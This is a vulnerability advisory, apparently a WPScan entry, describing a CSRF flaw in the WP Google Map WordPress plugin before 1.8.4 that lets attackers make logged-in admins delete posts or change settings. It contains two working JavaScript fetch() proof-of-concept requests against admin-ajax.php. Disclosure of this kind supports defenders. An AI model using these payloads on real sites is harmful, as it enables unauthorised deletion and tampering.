Lucene search

K
wpvulndbKrzysztof ZającWPVDB-ID:F85CF258-1C2F-444E-91E5-B1FC55880F0E
HistoryJan 27, 2022 - 12:00 a.m.

WP Google Map < 1.8.4 - Arbitrary Post Deletion and Plugin's Settings Update via CSRF

2022-01-2700:00:00
Krzysztof Zając
wpscan.com
6

0.001 Low

EPSS

Percentile

30.5%

The plugin does not have CSRF checks in most of its AJAX actions, which could allow attackers to make logged in admins delete arbitrary posts and update the plugin’s settings via a CSRF attack

PoC

Removing post: fetch(“https://example.com/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: “action=wpgmapembed_remove_wpgmap&post;_id=1”, “method”: “POST”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data)); Updating settings: fetch(“https://example.com/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: “action=wpgmapembed_save_setup_wizard&wgm;_api_key=hohohoho&wgm;_language=999&wgm;_regional_area=aaaaa”, “method”: “POST”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));

CPENameOperatorVersion
gmap-embedlt1.8.4

0.001 Low

EPSS

Percentile

30.5%

Related for WPVDB-ID:F85CF258-1C2F-444E-91E5-B1FC55880F0E